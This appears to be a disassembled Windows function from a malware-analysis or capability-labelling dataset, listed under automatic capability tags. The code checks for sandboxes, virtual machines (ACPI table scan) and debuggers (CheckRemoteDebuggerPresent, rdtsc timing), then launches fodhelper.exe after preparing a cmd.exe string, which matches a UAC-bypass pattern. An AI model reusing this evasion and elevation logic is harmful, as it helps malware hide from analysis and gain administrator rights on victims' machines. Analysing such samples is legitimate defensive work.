Function at 0x1400011c0
Capabilities:
Create process on windows
Enumerate processes
Enumerate system firmware tables
Execute anti-debugging instructions
Get common file path
Get disk size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x460], rax
xor r15d, r15d
mov edx, 0x104
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400012a7
movzx eax, word [rbp + 0x250]
mov word [rbp + 0x240], ax
movzx eax, word [rbp + 0x252]
mov word [rbp + 0x242], ax
movzx eax, word [rbp + 0x254]
mov word [rbp + 0x244], ax
mov word [rbp + 0x246], r15w
lea r9, [rbp - 0x80]
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1400012a7
mov rcx, qword [rsp + 0x78]
xorps xmm0, xmm0
test rcx, rcx
js 0x14000127a
cvtsi2sd xmm0, rcx
jmp 0x14000128f
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, qword [0x140004600]
mov eax, r15d
comisd xmm0, xmmword [0x140004608]
seta al
jmp 0x1400012aa
mov eax, r15d
test eax, eax
je 0x1400016d7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [rbp - 0x34], 1
je 0x1400016d7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov esi, r15d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov r12d, 1
cmp rax, 0xffffffffffffffff
je 0x1400013f0
mov dword [rbp], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 4]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001350
cmp dword [rbp + 8], edi
je 0x14000134d
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140001335
mov esi, dword [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1400013f0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400013f0
mov edi, r12d
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400013df
lea r14, str.explorer.exe
lea rdx, [rbp + 0x2c]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r14 + rcx*2 + 2]
jne 0x1400013c9
add rcx, 2
cmp rcx, 0xd
je 0x1400013c4
movzx eax, word [rdx + rcx*2]
cmp ax, word [r14 + rcx*2]
jne 0x1400013c9
jmp 0x1400013a0
cmp dword [rbp + 8], esi
je 0x1400013dc
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400013df
jmp 0x140001390
mov edi, r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400016d7
xor r8d, r8d
xor edx, edx
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
mov edi, eax
test eax, eax
je 0x1400014a8
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400014a8
mov r8d, edi
mov rdx, rax
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
test eax, eax
je 0x14000149f
xor dl, dl
mov r9d, r15d
mov r10d, eax
shr r10, 2
test r10, r10
je 0x140001491
lea rcx, [rbx + 0x10]
mov r11, 0xfffffffffffffff0
sub r11, rbx
mov r8d, dword [rcx - 6]
cmp r8d, 0x54454157
je 0x140001491
mov eax, dword [rcx]
test rax, rax
je 0x140001491
test dl, dl
jne 0x140001478
cmp r8d, 0x54455048
movzx edx, dl
cmove edx, r12d
inc r9d
inc rcx
lea rax, [r11 + rcx]
cmp rax, r10
jb 0x140001452
cmp r9d, 8
jl 0x140001491
test dl, dl
jne 0x14000149f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400016d7
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov dword [rsp + 0x70], r15d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400014f2
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400014f2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x70]
call rbx
cmp dword [rsp + 0x70], r15d
jne 0x1400016d7
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
sub eax, ecx
cmp eax, 0x15
jge 0x1400016d7
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov ecx, 0x20
call fcn.140002370
mov r8, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x1b
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem32cmd.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400043f0]
movsd qword [rax + 0x10], xmm0
movzx eax, word [0x1400043f8]
mov word [r8 + 0x18], ax
movzx eax, byte [0x1400043fa]
mov byte [r8 + 0x1a], al
mov byte [r8 + 0x1b], r15b
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8, rbx
lea rcx, [rsp + 0x30]
call fcn.140002210
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
lea rcx, [rsp + 0x30]
call fcn.140001860
movzx ebx, al
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140001643
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000163e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000163e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
movdqa xmm0, xmmword [0x140004610]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001697
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001692
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001692
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023ac
test bl, bl
je 0x1400016d7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:WindowsSystem32_fodhelper.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001cd0
xor eax, eax
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.140002350
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret